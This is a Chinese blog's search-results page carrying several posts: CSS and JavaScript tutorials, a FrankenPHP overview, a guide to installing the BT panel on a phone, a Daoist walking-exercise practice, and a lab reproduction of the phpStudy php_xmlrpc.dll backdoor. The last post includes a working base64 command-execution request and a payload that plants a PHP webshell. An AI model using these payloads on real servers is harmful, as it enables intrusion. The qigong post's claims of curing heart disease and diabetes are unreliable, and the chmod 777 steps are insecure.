找到
295
篇与
易航
相关的结果
- 第 6 页
-
您应该了解的新 CSS 功能 这篇文章介绍了现代 CSS 的一些新特性,帮助开发者提升网页开发效率和视觉效果,尤其是在布局、动画、性能优化等方面。随着 Web 开发的不断进化,CSS 不仅仅是一个样式语言,它已经成为了一个强大的工具,可以用来创建复杂的布局、动画和交互效果。图片 @scope 一种新的 CSS 规则,用于为选择器定义作用域,使得开发者可以更轻松地在特定的 DOM 子树内应用样式,而不会影响到外部元素。这对于组件化架构、第三方库和大项目的协作开发尤为有用。 <div id="componentA"> <p>This paragraph is inside the scope.</p> </div> <p>This paragraph is outside the scope.</p> <style> @scope (#componentA) { p { color: green; } } </style>在这个例子中,只有 #componentA 内部的段落文字会变成绿色,而外部的段落不会受到影响。 @supports CSS 的功能检测机制,可以根据浏览器是否支持某个 CSS 属性来有条件地应用样式,保证在不同浏览器环境下都能有良好的回退处理。 @supports (display: grid) { .grid-container > * { text-shadow: 0 0 2px red; float: none; } }只有当浏览器支持 display: grid 时,才会应用内部的样式,避免不支持的环境下出现问题。 content-visibility 这项性能优化特性可以在元素不可见时跳过渲染,提高页面加载和渲染的性能,非常适合长列表、复杂布局和图片重度页面。 .content-section { content-visibility: auto; contain-intrinsic-size: auto 500px; }如果元素不在视口内,浏览器将跳过渲染这些内容,从而加速页面加载。contain-intrinsic-size 为内容提供一个估算的尺寸,避免布局偏移。 aspect-ratio 控制元素的宽高比,确保元素在不同屏幕尺寸和布局条件下保持一致的比例,尤其对于响应式图片和视频非常有用。 img { display: inline; width: 300px; background-color: #f0f0f0; vertical-align: top; aspect-ratio: 16 / 9; }在这个例子中,图片会保持 16:9 的宽高比,确保即使在不同的容器大小下也不会变形。 @keyframes 和 @starting-style @keyframes 用于创建复杂的动画序列,@starting-style 解决了 CSS 过渡和动画的初始状态问题,确保动画平滑开始。 @keyframes slideIn { from { transform: translateX(-100%); opacity: 0; } 50% { opacity: 0.5; } to { transform: translateX(0); opacity: 1; } } .animated-box { animation: slideIn 3s ease-in-out; }这里定义了一个 slideIn 动画,使元素从左侧滑入并逐渐显示。 offset-position 和 offset-path 用于控制元素沿自定义路径运动的位置,这为复杂的路径动画提供了更精确的控制,适合滚动绑定动画、互动效果和自定义光标。 .moving-object { offset-path: path("M 0 0 L 200 200 L 400 0"); offset-position: 25%25%; animation: pathMotion 5s linear infinite; } @keyframes pathMotion { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } }在这个例子中,元素沿着一个折线路径移动,从而实现精确的动画控制。 image-set() 为不同设备像素密度选择最合适的图片,提升响应式设计的效果,同时优化性能,减少带宽消耗。 .responsive-box { width: 500px; height: 250px; background-repeat: no-repeat; background-size: cover; background-image: image-set( url("image-lowres.jpg") 1x, url("image-highres.jpg") 2x ); }在这个例子中,标准分辨率的设备将加载 image-lowres.jpg,而高分辨率设备(例如 Retina 显示屏)将加载 image-highres.jpg。 @property CSS Houdini API 的一部分,允许开发者定义和约束自定义 CSS 属性,使得这些属性在动画时更加流畅,能够支持设计系统、主题切换和响应式排版。 @property --main-color { syntax: '<color>'; inherits: false; initial-value: #00ff00; } .color-box { background-color: var(--main-color); transition: --main-color 0.5s; } .color-box:hover { --main-color: #ff0000; }这个示例展示了如何创建一个自定义颜色属性,并在鼠标悬停时平滑地过渡到新颜色。 text-wrap 和 white-space-collapse 提供了更细致的文本换行控制,可以优化长文本内容的显示效果,提升可读性,避免页面布局的跳动。 .balanced-text { text-wrap: balance; text-align: justify; } .preserved-space-text { text-wrap: pretty; }balanced-text 类会使段落尽可能均匀分布文本,而 preserved-space-text 类则会优化文本换行,避免出现孤立或寡头字。 结论 这些现代 CSS 特性不仅为开发者提供了更多的灵活性和控制,还能够在提升性能、减少代码冲突、优化用户体验等方面发挥重要作用。通过学习和掌握这些功能,开发者可以创建出更加高效、灵活且视觉上令人惊艳的网页应用。赶快开始尝试这些新特性吧,构建未来感十足的网页!
-
天罡七星步的修炼方法(收藏) 传说此法源于大禹。历史上的黄石老人、张良、诸葛亮等皆精于此法。 相传大禹治水之时,见一小鸟能用嘴推动一块比自己身体大几倍的石头,感到很奇怪,便试着搬比自己大的石头,结果石头纹丝不动。他认为小鸟能推动比自己大的石头,人一定也能。于是他对小鸟进行了耐心细致的观察。他发现小鸟在搬动大石头之前,先要走一种很有规律的步法。这种步法与北斗七星相呼应。于是大禹便模仿小鸟走的这种步法进行训练。一个月以后,他便也能搬动比自己体大的石头,力量比自己想象的还要大得多。 图片 在踏七星步前,要先熟练掌握以下基本步法、基本手法和呼吸方法,并熟记口诀,然后再转入正式修炼。 准备式 修炼者在空旷的场地或草地上,自然松静站立,两手自然下垂,闭目合齿,舌抵上腭。调整自然呼吸,呼吸要求匀、深、细、长,使呼吸形成规律。再调整综合呼吸,即自身宇宙呼吸,人体宇宙呼吸,天体宇宙呼吸和以凡息带真息四种呼吸同时做(也就是吸气过脐下,呼气不出心和收身收体收宇宙,吸气内收,呼气外放等几种呼吸同时做),使气聚下田。随后,默运五行,最后再归?于下田。调整人体宇宙的呼吸,等自身形成一体时,踏步入七星。七星阵如图所示。 图片 基本步法 从 0 位开始,左脚拖地向前趟,左脚落 1 位后,右脚再拖地向前趟到,到 2 位,如此向前走,左脚到 3、5 位,右脚倒 4、6 位,左脚踏到 7 位后,右脚也并到 7 位(两脚稍分开一点,即右脚到 7 位旁的 0 位),此时,转体 180°,左脚反过来再踏一、、三、五位,右脚踏二、四、六位,左脚到七位,右脚也到七位,再转体 180°,继续做,如此循环反复。 基本手法 两手置于胸前,十指尖向上,两掌心相对,两臂向左右两侧展开,同时,两手立掌向外推,推至八成时,两手转掌,掌心相对,开始向中间挤压,到两手快要接触时,两手再转掌,掌心向外推,如此循环。在两手由向里压转成向外分手和由分手转成向里压时,转换动作要干净利落,越快越好。 呼吸 呼气时两手向外分;吸气时两手向内压。 口诀 一炁混沌灌我形,禹步相推登阳明,天回地转履六甲,蹑罡履斗齐九灵,亚指伏妖众邪惊,天神助我潜身去,一切祸殃总不侵。 把所有的动作综合起来,便可开始修炼天罡七星步。 修炼者两脚站立在 0 位,左脚拖地向前趟,两掌开合配呼吸,默念口诀莫忘记:“一炁混沌灌我形”; 左脚踏步入 1 位,右脚拖地向前趟,两掌开合配呼吸,默念口诀莫忘记:“禹步相推登阳明”; 右脚踏步入 2 位,左脚拖地向前趟,两掌开合配呼吸,默念口诀莫忘记:“天回地转履六甲”; 左脚踏步入 3 位,右脚拖地向前趟,两掌开合配呼吸,默念口诀莫忘记:“蹑罡履斗齐九灵”; 右脚踏步入 4 位,左脚续前向右移,两掌开合配呼吸,默念口诀莫忘记:“亚指伏妖众邪惊”; 左脚踏步入 5 位,右脚从后向前趟,两掌开合配呼吸,默念日诀莫忘记:“天神助我潜身去”; 右脚踏步入 6 位,左脚斜上向前趟,两掌开合配呼吸,默念口诀莫忘记:“一切祸殃总不侵”; 左脚踏步入 7 位,右脚拖地到 7 位。转体 180°,照着原样回原位。 如此反复勤修炼,自得其中妙中玄。 收功 回到 0 位后,调整自然呼吸片刻,即可收功。 要求 整个步法,要求神与意合,意与气合。 练天罡七星步的时间是夜间子时,因为子时肾中生?,合于七星修炼,效果最好。其它时间最好别练。 踏在星位上的脚和脚跟不要抬起来,这就要求两腿必须下蹲,下蹲的幅度量力市行。 出步时,脚是拖地往前趟,踏入星位时,是蹭地入位。这里,要注意拖、蹭和趟三个动作的细微变化之处。 呼吸是先呼后吸,先用鼻呼鼻吸,再进一步就用鼻吸口呼。 两掌外掰时呼气,内压时吸气,一定别用反了,否则会出现胸闷,身体不舒服。 要想使人体作为一个整体与七星相联系,踏步时的动作和形态必须做到家,即要做出它的神韵来。要用头、眼、臂、手、身、背、足、脚的动作,来表现出体、行、动、外、内。用形象化来比喻,就是: 手如雁:手要像大雁一样飘然悠闲,掌要挺直,腕要灵活。 臂如鹰:两臂像鹰翅一样,总不全展开,展开了就不好看了,也没有力量,胳膊不是很硬; 身如虎:虎在还没有走的时候,先出去的是头,炼时脚未动,头先出去就对了; 背如熊:得做出熊浑厚、稳重的那个形象; 脚如鸵鸟:脚像鸵鸟一样在地下趟着走; 足如鹤:足吊起来就像鹤一样; 头如豹:像豹的头总是在动; 眼如猿:像猿的眼睛总是在来回动; 行如风:走的时候像风在推一样; 体如白云:体态如白云那样轻盈飘逸; 外形如雾:外形收展得像雾状; 内如坚钢:把外形收回来,内里有一股刚劲。做功时,可以踢一踢炼功者的腿,看看刚劲如何; 动如雨:行动时各个部分都有转角,有转角的部分转化要快。 解释 口诀的含义 六甲:就是天干和地支相配出现了 6 组甲子,又称六丁六甲。走到这一步,六甲盖头,外邪不入。走一步可以唤出一个甲子。 九灵:即九种仙气。 蹑罡:也就是粘,即人体的前后左右都粘住了,始终不离这个场,这个场也始终不大不小。 履斗:实际就是踏,用步法去踏。 登阳明:七星,属水,属阴,要夺它的阴中之阳。走七星步时,人是阳性的,七星是阴性的,人入星内,阳入其中,而阴在外。走好了,人的手指、掌和两臂会发麻,这是因为外阴内阳。 一炁混沌灌我形:是唤七星本身之气进入人的本体之内。 亚指:就是手指向上。手法比较多,在此五指向上,古称四位归一。实际就是五合,把自己体内的五行之?合于指掌之中。 天神:走七星时,由于有物质和能量的生化和交换,在身体周围会发出声响。因古人不知道是什么东西,故求天神助我之力。 说明 神经有毛病的人及自己控制不了自己的人,不能做七星步。有慢性病的人做,治病效果好,尤其冠心病、糖尿病效果最好。 天罡七星步还有一种走法,与上述方法唯一不同的地方是:配合呼吸踏步时,两臂在向两侧平展的同时,上下煽动,掌心始终向下。两手向上提时吸气,向下压时呼气。这样,可以炼就手掌住上走的劲和发出一种带有弹性的力量。 有几种现象,一定要注意 1.在走七星步时,如果觉得有人接近时,动作会自动变得特别慢,甚至停下来,人一离开,慢慢加快。炼此功时,不容易做到神意气相合,也不容易魂魄归一相伴在自身宇宙之中,原因是外界有东西来,人就易分神。修炼时,也要注意前后左右的变化。 2.修炼者步法走得很熟,口诀也记熟了,但在走的过程中,突然有一天走到半道就想不起来了,这时,一定要记住这个星的名字,这是什么星,这可是奥秘,千万千万把它记下来。 3.手掌立起,做好了拇指不发麻,其余四指会发麻,还会顺内侧上升,到身体发麻最好。 4.炼七星到一定程度,会自动发出一种声音,这时最好先别发出来,在内里含着。在踏八卦步前;要先熟练掌握以下基本步法,基本手法和呼吸方法,并熟口诀,然后,再转入正式修炼。 基本步法 两脚站立于中宫,身体下蹲,左脚直线向前趟,踏入乾卦; 右脚弧线向左趟踏入兑卦,左脚直线向前趟,踏入离卦; 右脚弧线向左趟踏入震卦,左脚直线向前趟,踏入中宫; 右脚直线向左趟踏入巽卦,左脚弧线向右趟,踏入坎卦; 右脚直线向右趟踏入艮卦,左脚弧线向前趟,踏入坤卦; 右脚直线向前趟踏入中宫,如此一直反复。 基本手法、基本呼吸都与天罡七星步相同。 口诀 1.阴阳八卦扶弟子,阴阳八卦扶吾身; 2.乾元亨利贞; 3.兑泽英雄兵; 4.离火驾火轮; 5.震雷霹雳声; 6.阴阳八卦扶弟子,阴阳八卦扶吾身; 7.巽风进退利; 8.坎水多波急; 9.艮山不出其; 10.坤德合无疆; 11.阴阳八卦扶弟子,阴阳八卦扶吾身。 准备式:同天罡七星步。 动作 双脚踏入中宫,默念口诀:“阴阳八卦扶弟子,阴阳八卦扶吾身”; 左脚直线向前趟,两掌开合配合呼吸,默念口诀:“乾元亨利贞”; 左脚踏步入乾卦,右脚弧线向左趟;两掌开合配合呼吸,默念口诀:“兑泽英雄兵”; 右脚踏步入兑卦,左脚直线向前趟;两掌开合配合呼吸,默念口诀:“离火驾火轮”; 左脚踏步入离卦,右脚弧线向左趟;两掌开合配合呼吸,默念口诀:“震雷霹雳声”;” 右脚踏步入震卦,左脚直线向前趟;两掌开合配合呼吸,默念口诀:“阴阳八卦扶弟子,阴阳八卦扶吾身”; 左脚踏步入中宫,右脚直线向前趟;两掌开合配合呼吸,默念口诀;“巽风进退利”; 右脚踏步入巽卦,左脚弧线向右趟;两掌开合配合呼吸,默念口诀:“坎水多波急”; 左脚踏步入坎卦,右脚直线向前趟;两掌开合配呼吸,默念口诀:“艮山不出其”; 右脚踏步入艮卦,左脚弧线向右趟;两掌开合配合呼吸,默念口诀:“坤德合无疆”; 左脚踏步入坤卦,右脚直线向前趟;两掌开合配合呼吸,默念口诀:“阴阳八卦扶弟子,阴阳八卦扶吾身”; 如此回圈勤修炼,自得其中妙中玄。 收功 最后回到中宫,调整成自然呼吸。片刻,即可收功。 要求 1.整个过程要求,在内神与意合,意与气合;在外足与身合,手与体合;做到内外相合,上下相合,混然一体,奥妙其中。 2.修炼天罡八卦步的时间是在早晨和晚上,中午不能修炼。 3.不管发生什么事,这一圈一定要走完,最后步入中宫,口诀念完后,方可出中宫。 4.走步法时,按自己的步法把握好,别把九宫图画得太小了,显得太小气,没有魄力。因为步法越走越小,最后就转出来了。 解释 1.先天八卦图在天和在地是相合的。人在天地之间,所走的图也是和天地相合的。但在头顶上方的天上的图和脚下所踏的地面上的图,其方向是相反的,这个意念构思一定要做到。 2.人在卦位上走动,是人在变卦,天地之图的卦位并没有变。要把握好这个相互关系。 3.刚开始从中宫出来时,先出左脚就往左转,先出右脚就往右转。往左转为正转,往右转为反转。正反转都可以,但反应在人体内的变化不一样,其目的也不一样。这张八卦图是可以变化的。 4.八卦九宫图形是方形,但踏天罡八卦步时,实际走出来的是 8 字形,是一个交叉的阴阳八卦线。如果走得好,修炼者在内里为地方,而外因则为天圆。由此出现了天圆地方。 5.此法为女修女丹功,男修三仙功时修炼身外身的第一法。没有修炼过天罡八卦步,就绝不会出现身外身。在修炼过程中,如果有外来的东西相斗,一定要记住走九宫时以不出官为好。九宫阳遁之法就是不出宫,永远都在九宫中。 6.会八方仁德而为己,会八方仁德而为他。 天罡八卦步可以为己用,也可以为他用,口诀略有不同。上面介绍的是为己用的方法。(更多内容,请关注易航博客)
-
深入浅析 JavaScript 节流函数的四种实现方式(Throttle) 深入浅析 本文将详细探讨 JavaScript 中的节流函数(Throttle),并提供四种不同实现方式的代码示例及详细解释。 节流函数用于限制函数在一定时间内执行的次数,防止函数被频繁调用导致性能问题。这在处理高频事件(例如滚动事件、鼠标移动事件等)时非常有用。 想象一下沙漏:沙子不断流入,但流出的沙子数量有限。节流函数的工作原理类似,它控制函数执行的频率,避免函数被瞬间大量调用。 图片 节流函数的典型应用场景包括: 鼠标点击事件: 防止用户快速连续点击导致多次执行同一操作。 滚动事件: 在页面滚动时,节流可以限制加载更多内容的请求频率,避免频繁请求造成服务器压力。 输入框监听: 限制搜索或自动完成请求的频率,优化用户体验。 节流与防抖的差异 在之前的文章中,我们介绍了防抖函数(Debounce)。节流与防抖虽然都能降低函数执行频率,但它们的工作机制有所不同: 节流: 在规定时间间隔内,无论事件触发多少次,函数最多只执行一次。 时间间隔主要指两次函数执行之间的时间差。 防抖: 在事件停止触发后的一个规定时间内,函数只执行一次。 时间间隔则指连续触发事件的持续时间。 四种节流函数实现方式 我们将分别介绍四种常见的节流函数实现:时间戳版、定时器版、组合版以及高级自定义版。 1. 时间戳版节流 这种方法通过记录上一次函数执行的时间戳来判断是否需要执行函数。它能保证函数在规定时间间隔后立即执行。 const throttle = (func, wait) => { // 初始化事件开始的时间为0 let preTime = 0; return function() { // 下面两行不懂的可以看看防抖实现的那篇文章 let context = this; let args = arguments; // 获取当前的时间,使用+来转化为数字类型,方便后面做减法 let now = +new Date(); // 当前时间减去之前的时间,结果大于设定的间隔时间才会执行函数 if (now - preTime > wait) { func.apply(context, args); preTime = now; } } };2. 定时器版节流 该方法利用setTimeout来控制函数的执行。 函数不会立即执行,而是在规定时间间隔后执行。通常用于在事件停止触发后执行一次操作。 const throttle2 = (func, wait) => { let timeout; return function() { let context = this; let args = arguments; // 若没有定时器,说明上一次设定的定时器已到时销毁 if (!timeout) { timeout = setTimeout(function() { func.apply(context, args); timeout = null; }, wait) } } };3. 组合版节流 结合时间戳版和定时器版,可以实现更灵活的节流:既可以在时间间隔到期时立即执行,又可以在事件停止触发后执行一次。 function throttle3(func, wait){ let context, args, timeout; let pretime = 0; let later = function(){ pretime = +new Date(); timeout = null; func.apply(context, args); }; let throttled = function(){ context = this; args = arguments; var now = +new Date(); var remaining = wait - (now - pretime); // 剩余时间为负数表示下一次执行需要立即执行 // remaining > wait在修改了系统时间的情况下可能发生 if(remaining <= 0 || remaining > wait){ // 如果有设置过定时器,清空并置为null if(timeout){ clearTimeout(timeout) timeout = null; } pretime = now; func.apply(context,args); }else if(!timeout){ // 需要在剩余时间后执行 timeout = setTimeout(later,remaining); } }; return throttled; };4. 高级自定义版节流 此版本允许通过配置参数 options 来控制函数的执行时机,更加灵活: leading: false:禁用首次执行。 trailing: false:禁用最后一次执行。 /** * 高级自定义节流函数,限制函数在指定时间段内最多执行一次。 * * @param {Function} func - 要节流的函数。 * @param {number} wait - 节流时间间隔(毫秒)。 * @param {object} [options] - 可选参数。 * @param {boolean} [options.leading=true] - 是否允许在节流时间段开始时立即执行函数。 * @param {boolean} [options.trailing=true] - 是否允许在节流时间段结束时执行函数。 * @returns {Function} 节流后的函数。该函数包含一个 `cancel` 方法用于取消任何待定的执行。 */ function throttle(func, wait, options) { var timeout, context, args, result; var previous = 0; if (!options) options = {}; const later = function () { previous = options.leading === false ? 0 : now(); timeout = null; result = func.apply(context, args); if (!timeout) context = args = null; }; const throttled = function () { var _now = now(); if (!previous && options.leading === false) previous = _now; var remaining = wait - (_now - previous); context = this; args = arguments; if (remaining <= 0 || remaining > wait) { if (timeout) { clearTimeout(timeout); timeout = null; } previous = _now; result = func.apply(context, args); if (!timeout) context = args = null; } else if (!timeout && options.trailing !== false) { timeout = setTimeout(later, remaining); } return result; }; throttled.cancel = function () { clearTimeout(timeout); previous = 0; timeout = context = args = null; }; return throttled; }这个版本还包含cancel方法,用于取消任何待定的执行。 总结 本文详细介绍了四种 JavaScript 节流函数的实现方式,从简单的计时器方法到更高级的自定义版本,满足不同的应用场景。 选择合适的节流函数实现方式,能够有效提高程序性能,优化用户体验。 建议根据实际需求选择合适的实现方式。 高级自定义版本与流行的库(如 underscore)中的节流函数实现类似。
-
给旧手机装个 Linux 后,还能装个啥?比如装一个宝塔面板? 上面讲的是如果安装一个 linux 系统到手机上,图形化使用。这就开始讲讲最简单的方式来配置 linux 服务器吧!安装AidLux。这个直接在应用商店下载就好了,打开后不用登录直接免登录使用,然后我们点击cloud_ip,打开它,会显示一个网址,在电脑上输入这个网址,就可以远程访问了,直接电脑操作,方便多了! 图片 图片 图片 图片 电脑打开后就是这样子了! 图片 这个时候,我们就可以把他当作一个正常的服务器来使用了! 比如说,我们先安装一个宝塔软件吧! apt update apt upgrade sudo curl -sSO https://download.bt.cn/install/install_panel.sh;sudo bash install_panel.sh chmod a+x install_panel.sh chmod -R 777 /www ./install_panel.sh chmod 777 /www/server -R以上的步骤就是按照宝塔的命令了。最后可能会说启动失败,没关系,接下来继续操作! 图片 输入以下命令: sudo bt ` 就可以看到以下的界面,然后选择 1 就可以启动了。这里建议后面再选择 6 和 5 修改用户名以及密码。  最后选择 14,查看宝塔面板的默认信息,也就是登录网址,账号密码啥的。  然后在浏览器打开这个网址,输入用户名密码就可以啦!  有了宝塔面板就方便多了,很多东西都方便安装了!
-
PHP 的现代复兴:FrankenPHP 如何重塑 PHP PHP 在编程界一直备受争议,开发者对其褒贬不一,常被认为过时、缓慢且笨重。 然而,PHP 真如其名声所言般不堪吗?在现代 Web 开发领域,它是否还有潜力? 答案是肯定的,这得益于像 FrankenPHP 这样的创新。本文将探讨 PHP 发展滞后的原因,分析其为何仍具价值,并阐述 FrankenPHP 如何为 PHP 带来急需的现代化变革。 图片 PHP 被认为过时的原因 1、历史遗留问题和不良实践 PHP 早期缺乏规范,导致大量“意大利面条式代码”出现,造成混乱且难以维护的印象。尽管 Laravel 和 Symfony 等现代框架已显著改善此问题,但负面影响仍然存在。 2、性能瓶颈 PHP 传统的执行模式为每次请求都需重新引导整个应用程序,这种机制导致执行效率低下,尤其与 Go 或 Node.js 等语言相比,显得较为缓慢。 3、现代替代语言的兴起 Python、Ruby 和 JavaScript (Node.js) 等语言凭借其现代语法、强大的生态和更优的性能,获得了广泛关注。 相比之下,PHP 的老旧形象难以改变。 4、无共享架构的局限性 PHP 的无共享架构虽然具备隔离性,但也造成了重复初始化等效率问题。每个请求都需要从头开始,这对于初始化开销较大的应用来说,会降低整体性能。 现代 PHP 复兴 尽管面临诸多挑战,PHP 仍在持续发展。PHP 7 和 PHP 8 的发布带来了显著的性能提升、即时 (JIT) 编译等现代特性,以及更强的类型安全性。 Laravel 和 Symfony 等框架的出现,也极大地提升了 PHP 开发的效率和体验。 然而,真正的变革力量来自于 FrankenPHP。 FrankenPHP:PHP 的现代化革新 FrankenPHP 并非简单的 PHP 服务器,而是一款用 Go 编写的革命性应用服务器,它引领 PHP 步入现代 Web 开发时代。 其核心优势如下: 1、现代化的用户体验 FrankenPHP 拥有精美的界面设计,清晰展示其价值主张,并提供简洁的示例代码,使开发者能够快速上手。 它融合了 PHP 的简洁性和 Go 的现代美学,赋予了 PHP 新的活力。 2、媲美现代语言的性能 FrankenPHP 通过工作模式将 PHP 应用驻留在内存中,消除了每次请求都需重新引导的开销,性能较传统 PHP-FPM 提升高达 3 倍,可与 Node.js 和 Go 等现代语言相媲美。 3、简化的部署流程 FrankenPHP 将 PHP 应用打包成单一、无依赖的二进制文件,无需复杂的容器设置,极大地简化了部署过程,并降低了部署开销。 4、与现代框架的无缝兼容 FrankenPHP 与 Laravel、Symfony 乃至 WordPress 等主流 PHP 框架完全兼容,并支持 PSR-7 和 HttpFoundation,确保了与现代应用和旧代码的兼容性。对于 Laravel 用户,它还与 Laravel Octane 无缝集成,可进一步提升性能。 5、面向未来的技术架构 FrankenPHP 具备 HTTP/3 支持、内置缓存和 TLS 自动化等前沿特性,充分满足现代 Web 开发的需求。 活跃的社区和快速响应的开发团队,确保了 FrankenPHP 的持续发展和改进。 PHP 依然重要的原因 1、广泛的应用基础 PHP 为全球 78% 的网站提供支持,包括 WordPress、Facebook (历史) 和 Wikipedia 等大型平台,其普及性使其成为开发者必备的技能。 2、易于上手 PHP 以其简单易用的特性著称,是初学者和快速原型开发的理想选择。 借助现代框架和工具,它同样适用于构建大型复杂应用。 3、强大的社区与生态系统 PHP 拥有庞大活跃的社区,以及丰富的库、框架和工具生态系统,能够满足从小型博客到大型电商网站及复杂 API 的各种开发需求。 4、持续的改进与创新 PHP 不断发展,定期更新并引入新特性。 PHP 8 中引入 JIT 编译技术,充分体现了该语言对性能和现代化的追求。 FrankenPHP:赋能 PHP 的未来 FrankenPHP 不仅是一个工具,更是一种宣告,它有力地证明了 PHP 在现代 Web 开发领域依然保持着现代性、高效性以及强大的生命力。 通过融合 Go 的强大性能与 PHP 的灵活性,FrankenPHP 为 PHP 应用程序的运行提供了一种革命性的方案。 无论您是经验丰富的 PHP 开发者,还是刚刚踏入 PHP 世界的新手,都值得深入探索 FrankenPHP 的潜力。 结论 PHP 过时和缓慢的固有观念已经过时。 现代框架、性能优化以及 FrankenPHP 等创新技术的出现,使得 PHP 比以往更具竞争力。 现在是时候重新审视 PHP,并将其纳入您的现代开发流程中,发掘它的新潜力。
-
小皮面板 phpstudy 后门漏洞 phpstudy 软件是国内的一款免费的 PHP 调试环境的程序集成包,通过集成 Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer 多款软件一次性安装,无需配置即可直接安装使用,具有 PHP 环境调试和 PHP 开发功能,在国内有着近百万 PHP 语言学习者、开发者用户。但是存在后门漏洞,可直接 getshell。 图片 漏洞存在版本: phpStudy2016 php\php-5.2.17\ext\php_xmlrpc.dll php\php-5.4.45\ext\php_xmlrpc.dll phpStudy2018 PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll 准备工作: 服务器:192.168.29.135(Windows server 2008 SP2) phpStudy2016(php-5.4.45+Apache) 一.漏洞环境搭建 1.下载 phpStudy2016 版的 phpstudy,启动后切换至 php-5.4.45+Apache 版本 图片 2. 查看服务器的 IP 地址 图片 3. 直接访问 http://192.168.29.135/ ,可得到以下界面(以下界面是自行配置的index.php界面,可根据情况自行配置) 图片 二.漏洞成因 1. 查看文件 C:\phpStudy\php\php-5.4.45\ext\php_xmlrpc.dll(这是我的安装路径,根据实际的安装情况查看安装路径),Ctrl+F 查找关键字 @evel,找到了 @eval(%s('%s'));,这也是漏洞的成因。 图片 三.漏洞复现 1.访问 URL:http://192.168.29.135/,进行抓取数据包操作,并且将其发送到repeater模块 图片 2.添加 Accept-Encoding 和 accept-charset 参数 注意事项: 如果没有 Accept-Encoding 这个参数,需要手动加上,并且注意“gzip”和“deflate”之间存在一个逗号,并且中间没有空格。 需要手动加上:accept-charset:执行命令的 base 64 编码 echo system("net user"); 的 base64 编码为 ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7 GET / HTTP/1.1 Host: 192.168.29.135 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding:gzip,deflate accept-charset:ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7 Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0执行结果为: 图片 3.构造一句话木马写入到 web 路径下: fputs(fopen('C:\\phpStudy\\WWW\\xx.php','w'),'<?php@eval($\_POST\[1\])?>');4.将构造的语句进行 base64 加密 ZnB1dHMoZm9wZW4oJ0M6XHBocFN0dWR5XFdXV1x4eC5waHAnLCd3JyksJzw/cGhwIEBldmFsKCRfUE9TVFsxXSk/PicpOw== 修改 accept-charset 的参数值,写入一句话木马 图片 5.查看服务器端是否将文件写入 图片 6.使用菜刀进行连接操作,URL:http://192.168.29.135/xx.php,密码为1 图片
-
掌握这 8 个技巧,让你的 CSS 代码更简洁优雅 写出简洁优雅的 CSS 代码不仅能提高代码的可维护性,还能减少样式冲突。本文将介绍 8 个实用技巧,帮你提升 CSS 代码质量。 1. 善用 CSS 变量,提升代码复用性 图片 使用 CSS 变量的好处: 集中管理主题色值 一处修改,处处生效 支持运行时动态修改 提高代码可维护性 2. 使用 :is() 和 :where() 简化选择器 /* 之前的写法 */ .card h2, .card h3, .card h4, .card h5, .card h6 { margin-bottom: 16px; } /* 使用 :is() 简化后 */ .card :is(h2, h3, h4, h5, h6) { margin-bottom: 16px; } /* 使用 :where() 降低优先级 */ :where(.card, .panel, .box) p { line-height: 1.5; }这个技巧可以: 减少代码重复 提高代码可读性 灵活控制选择器优先级 3. 巧用 aspect-ratio 控制宽高比 /* 常见的 16:9 视频容器 */ .video-container { width: 100%; aspect-ratio: 16 / 9; background: #000; } /* 保持正方形的头像容器 */ .avatar { width: 100px; aspect-ratio: 1; object-fit: cover; border-radius: 50%; }这个属性特别适合: 响应式图片布局 视频容器 卡片网格布局 保持元素固定比例 4. 使用 clamp() 实现响应式数值 .title { /* 最小 16px,最大 32px,基于视窗宽度动态计算 */ font-size: clamp(16px, 4vw, 32px); } .container { /* 响应式内边距 */ padding: clamp(1rem, 3vw, 3rem); /* 响应式宽度 */ width: clamp(320px, 80vw, 1200px); }clamp() 的优势: 无需媒体查询 平滑过渡 代码更简洁 避免内容溢出 5. 使用 gap 属性简化布局间距 .grid-container { display: grid; grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); gap: 20px; } .flex-container { display: flex; flex-wrap: wrap; gap: 16px; /* 可以分别设置行列间距 */ /* gap: 16px 24px; */ }gap 属性的优点: 替代传统的 margin 更容易维护间距 支持 flex 和 grid 布局 避免临边距叠加问题 6. 使用逻辑属性适配不同书写方向 .container { /* 替代 margin-left/right */ margin-inline: auto; /* 替代 padding-top/bottom */ padding-block: 2rem; /* 替代 width */ inline-size: 100%; /* 替代 height */ block-size: auto; }逻辑属性的优势: 更好的国际化支持 适应不同书写模式 代码更具语义化 简化 RTL 适配 7. 使用 :has() 实现父元素选择 /* 当卡片包含图片时应用样式 */ .card:has(img) { padding: 0; } /* 当表单存在错误输入时改变样式 */ .form:has(:invalid) { border-color: red; } /* 调整空列表的样式 */ ul:not(:has(li)) { display: none; }:has() 选择器的应用场景: 基于子元素状态修改父元素 实现复杂的条件样式 减少 JavaScript 的使用 提高样式的动态性 8. 使用 @layer 管理样式优先级 @layer base, components, utilities; @layer base { h1 { font-size: 2rem; margin-bottom: 1rem; } } @layer components { .button { padding: 0.5rem 1rem; border-radius: 4px; } } @layer utilities { .text-center { text-align: center; } }@layer 的优势: 明确的样式优先级 更好的代码组织 避免优先级混乱 便于维护大型项目 欢迎大家留言补充。
-
